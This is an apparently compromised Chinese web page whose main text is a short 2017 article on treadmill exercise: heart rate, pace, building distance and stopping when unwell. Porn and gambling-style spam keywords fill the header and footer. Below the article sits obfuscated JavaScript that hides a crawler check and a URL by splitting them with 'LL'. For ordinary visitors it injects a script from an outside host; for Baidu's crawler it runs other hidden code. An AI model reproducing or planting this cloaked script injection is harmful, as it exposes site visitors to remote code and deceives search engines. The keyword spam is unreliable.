久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

跑步機快走好還是跑步好呢

2017-04-15 09:32:54  來源:360常識網   熱度:
導語:跑步機是迎合城市鍛煉而產生的一種機器,主要用來跑步,通過人體適當的進行腿部交叉運動,讓人體達到跑步效果,一般是在各種健身房,還有家

跑步機是迎合城市鍛煉而產生的一種機器,主要用來跑步,通過人體適當的進行腿部交叉運動,讓人體達到跑步效果,一般是在各種健身房,還有家庭中都可以看到這樣的跑步機。現在很多的白領沒有時間去健身房健身,所以很多人在家里買了跑步機,準備休息在家的時候鍛煉身體不至于體質下降。那么在家鍛煉需要注意什么呢?

1、注意心率的速度

在使用跑步機跑步的時候,一定要注意心率,心率是反映心臟的重要數據,一般是在二十幾歲左右的年齡,心臟一分鐘跳動次數是時間的兩倍是最好的,你可以佩戴一個心率表,只要將你的速度保持在合理的心率范圍之內,對于減肥特別有效果。每一個人的心率都有一定承受能力,并不是越沖刺,就越減肥,而是要保持合理范圍之內,如果超出了本身的心率速度,就要注意。

2、跑步的頻率、速度

每一個人根據自身體質不同,自身的跑步承受能力不同,能夠接受的速度和時間也是不同的,不要強迫自己,跑步機上可以設定時間,如果你平時跑步的時間是四千米。

那么之后,鍛煉幾天,你可以加一千米,跑步的距離都是自己慢慢鍛煉出來的。當然,跑步機不僅僅可以跑步,根據不同速度,也可以適當進行慢走,或者快走,適合各種人群,經常用跑步機鍛煉,能夠有效維持人體的速度平衡,而且能夠讓體內脂肪得到消耗。

最后,需要小編給大家提醒的是,如果在跑步機鍛煉過程中,感覺身體不舒服,或者有什么異樣,就要立刻停止,去醫院咨詢或者檢查自己身體狀況。如果跑步機有了某種松動,也要馬上停止運動,檢查器械的安全性。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产成人一区二区三区 | 精品一区二区在线观看 | 免费观看一级特黄欧美大片 | 成年人看的羞羞网站 | 91中文字幕在线观看 | 一本色道久久99精品综合 | 亚洲精品中文字幕中文字幕 | 久久精品久久综合 | 午夜影院免费视频 | 国产一区二区精品在线 | 国产精品久久久久久 | 日韩av一区二区三区在线 | 日本在线一区二区 | 国产精品日本一区二区不卡视频 | 成人免费视频观看 | 中文字幕免费在线 | 欧美国产三级 | 四虎影院观看 | 国产高清一二三区 | 天天插天天操天天干 | 久在线| 伊人av在线免费观看 | 两性免费视频 | 国产视频一区二区在线 | 国外成人在线视频 | 成人黄视频在线观看 | 久久久久国产精品 | 欧美日韩视频在线观看一区 | 国产极品视频在线观看 | 激情91| 黄色大片视频 | 欧美成人精品激情在线观看 | 日韩视频免费观看 | 久久99精品国产麻豆不卡 | 国产不卡精品 | 亚洲国产高清视频 | 五月婷久久 | 亚洲在线观看免费视频 | 99色播 | 免费看一区二区三区 | 久久国产99 |